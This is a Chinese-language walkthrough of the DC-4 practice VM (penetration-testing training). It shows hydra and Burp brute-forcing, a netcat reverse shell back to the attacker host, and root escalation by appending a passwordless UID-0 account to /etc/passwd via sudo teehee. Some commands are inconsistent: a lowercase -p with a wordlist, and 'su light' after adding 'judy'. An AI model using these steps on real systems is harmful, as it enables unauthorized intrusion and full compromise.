DC-4靶机渗透（teehee提权）

目录

一、环境

二、信息收集

1. 主机发现

2. 访问192.168.1.177:80 

三、拿到管理后台密码

 方法1. 用burp爆破模块，获取管理员登录界面的密码

方法2. 用hydra爆破，拿到管理后台的密码，解压rockyou.txt.gz

四、登录后台发现可以执行命令，尝试BP改包，监听靶机

 1. 监听目标端口

2. 改包 

 五、查看 /etc/passwd文件，发现jim，sam用户，想到提权

六、查看jim用户下文件，发现密码本

七、登录jim用户，获取charles用户的密码^xHhA&hvim0y

八、登录Charles，查看root权限

九、teehee提权,获取root权限，拿到flag

---

一、环境

   靶机： 192.168.1.177

攻击机： 192.168.1.209

二、信息收集

1. 主机发现

namp -sP 192.168.1.0/24 或 arp-scan -l

# 查看开放端口
 nmap -A -sS -p- 192.168.1.177

2. 访问192.168.1.177:80 

三、拿到管理后台密码

 方法1. 用burp爆破模块，获取管理员登录界面的密码

 01. 用burp抓包，爆破拿到密码（记得准备一个常用密码合集，这个你们就自己来吧）

 02. 发送到调试模块（intruder），设置好变量，只爆破密码

 03. 设置payload，开始攻击

 04. 获取密码，登录成功

方法2. 用hydra爆破，拿到管理后台的密码，解压rockyou.txt.gz

01.解压rockyou文件

gzip -d rockyou.txt.gz

  02. hydra 开始破解

gzip -d rockyou.txt.gz #解压rockyou文件获取密码本
hydra -l admin -p /usr/share/wordlists/rockyou.txt 192.168.1.177 http-post-form "/login.php:username=^ USER ^ &password=^ PASS^:S=logout" -F
-l：指定用户
-P：大写指定字典，小写指定具体账户
http-post-form：页面的提交方式
/logic.php:检测账号页面（并非当前登录页面，因为当前登录页面没有回显）
username=^USER^&password=^PASS^：指定变量（页面源码获得）
S=logout：测试是否成功爆破并且返回成功登录页面特有参数，从而判定爆破成功
-F：爆破成功,关闭文件

四、登录后台发现可以执行命令，尝试BP改包，监听靶机

 1. 监听目标端口

在kaili中打开终端： nc -lvvp 1234 
bp中修改命令为：
nc 192.168.1.209 1234 -e /bin/bash

2. 改包 

监听完成，现在可以执行命令啦 

 五、查看 /etc/passwd文件，发现jim，sam用户，想到提权

六、查看jim用户下文件，发现密码本

七、登录jim用户，获取charles用户的密码^xHhA&hvim0y

用hydra开始破解jim用户密码(将bck文件的内容，在kali终端新建一个文件放进去)

hydra -L usr.txt -P dc-4passwd.txt ssh://192.168.1.177  
ssh jim@192.168.1.177

根据提示查看jim邮件

八、登录Charles，查看root权限

sudo -l

提示：/usr/bin/teehee 命令在运行时用于root权限，查看权限 发现可以不需要密码执行teehee。

九、teehee提权,获取root权限，拿到flag

teehee命令可以对文件进行写入操作，我们可以借此来提权。

就是使用teehee -a 把一个账号密码写入到etc/passwd中，这个用户具有root权限，再切换到这个用户即可。

echo "judy::0:0:::/bin/bash" | sudo teehee -a /etc/passwd    //提权语句
su light
cat /root/flag.txt